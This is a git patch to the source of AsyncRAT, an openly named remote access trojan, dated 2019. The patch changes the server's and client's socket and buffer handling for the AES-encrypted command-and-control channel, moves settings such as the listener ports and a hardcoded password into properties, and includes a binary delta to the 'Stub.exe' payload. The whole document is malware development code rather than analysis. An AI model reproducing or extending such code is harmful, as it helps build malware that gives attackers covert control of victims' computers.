From 098918cd3fc01922a6dee03da27ebb8eff23261c Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 21 Apr 2019 05:41:29 -0700 Subject: [PATCH] Small update --- AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 141312 -> 141312 bytes AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 11 +++--- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 27 ++++--------- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 37 +++++++++--------- 4 files changed, 33 insertions(+), 42 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index 348da78c422cf41ee0a1f78a740d58acd4c0d216..6ab68ebe165eb6c95c6d63dd08cb756b51a5e9b9 100644 GIT binary patch delta 338 zcmZp;z|nAlV?qbZp~$O!8+$}%GbT@7IQz`xk~#Ay|C!Ij8p+7O5V=`(Za5=j_~hDo zQgZe{0gZEv3~WsK%!~|NTx?=?(jcKLKq1|v$p-VqC*PWDXv2x$xu+GKnw@0uttxy60e->Q0 delta 374 zcmZp;z|nAlV?qbZoV)QrDX=h8J~L39i%rbV8YFZDD5+aLnSZ`C zi&U0z;N*Stj2O31{y0yHXAaN?sOD3XdFHDyhD5SrxGH%l!HxMpdv8>Dp_L$rY~!w<#|FmED5i_!z$AB+`y zAaWB}n)rS&O6-I1T6v%H{$xC|eQ`PC(q4fI6M@#Wh(oS(AGK!R5iRc99>L1ALJ0tF CJz1Rq diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 61829fe..150ce3f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -8,11 +8,12 @@ namespace AsyncRAT_Sharp { public static List Online = new List(); public static List Blocked = new List(); - public static string Port = "6606,7707,8808"; + public static string Port { get; set; } + public static long Sent { get; set; } + public static long Received { get; set; } + public static string Password { get; set; } + public static Aes256 aes256{ get; set; } + public static readonly string Version = "AsyncRAT 0.4"; - public static long Sent = 0; - public static long Received = 0; - public static string Password = "NYAN CAT"; - public static Aes256 aes256; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 100ee24..728d352 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -1,10 +1,8 @@ using System; -using System.Text; using System.IO; using System.Net.Sockets; using System.Windows.Forms; using AsyncRAT_Sharp.Handle_Packet; -using System.Threading.Tasks; using System.Security.Cryptography; using System.Drawing; using System.Diagnostics; @@ -15,15 +13,16 @@ namespace AsyncRAT_Sharp.Sockets class Clients { public Socket ClientSocket { get; set; } - private byte[] ClientBuffer { get; set; } - private long ClientBuffersize { get; set; } - private bool ClientBufferRecevied { get; set; } - private MemoryStream ClientMS { get; set; } public ListViewItem LV { get; set; } - private object SendSync { get; set; } - private object EndSendSync { get; set; } public string ID { get; set; } - public long BytesRecevied { get; set; } + + private byte[] ClientBuffer; + private long ClientBuffersize; + private bool ClientBufferRecevied; + private MemoryStream ClientMS; + private object SendSync; + private object EndSendSync; + public long BytesRecevied; public Clients(Socket socket) { @@ -35,7 +34,6 @@ namespace AsyncRAT_Sharp.Sockets ClientSocket = socket; ClientBuffer = new byte[4]; - ClientBuffersize = 0; ClientBufferRecevied = false; ClientMS = new MemoryStream(); LV = null; @@ -62,8 +60,6 @@ namespace AsyncRAT_Sharp.Sockets if (ClientBufferRecevied == false) { await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); - if (ClientMS.Length == 4) - { ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); ClientMS.Dispose(); ClientMS = new MemoryStream(); @@ -73,12 +69,6 @@ namespace AsyncRAT_Sharp.Sockets Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); ClientBufferRecevied = true; } - } - else - { - Disconnected(); - return; - } } else { @@ -99,7 +89,6 @@ namespace AsyncRAT_Sharp.Sockets return; } ClientBuffer = new byte[4]; - ClientBuffersize = 0; ClientMS.Dispose(); ClientMS = new MemoryStream(); ClientBufferRecevied = false; diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 7879ad5..335ad95 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -10,7 +10,6 @@ using Client.Helper; namespace Client.Sockets { - class ClientSocket { @@ -40,7 +39,6 @@ namespace Client.Sockets Debug.WriteLine("Connected!"); Connected = true; Buffer = new byte[4]; - Buffersize = 0; BufferRecevied = false; MS = new MemoryStream(); SendSync = new object(); @@ -101,22 +99,14 @@ namespace Client.Sockets if (BufferRecevied == false) { MS.Write(Buffer, 0, Recevied); - if (MS.Length == 4) + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) - { - Buffer = new byte[Buffersize]; - BufferRecevied = true; - } - } - else - { - Connected = false; - return; + Buffer = new byte[Buffersize]; + BufferRecevied = true; } } else @@ -126,7 +116,6 @@ namespace Client.Sockets { ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray())); Buffer = new byte[4]; - Buffersize = 0; MS.Dispose(); MS = new MemoryStream(); BufferRecevied = false; @@ -155,6 +144,12 @@ namespace Client.Sockets { try { + if (!Client.Connected) + { + Connected = false; + return; + } + byte[] buffer = Settings.aes256.Encrypt(Msg); byte[] buffersize = BitConverter.GetBytes(buffer.Length); @@ -176,6 +171,12 @@ namespace Client.Sockets { try { + if (!Client.Connected) + { + Connected = false; + return; + } + int sent = 0; sent = Client.EndSend(ar); Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");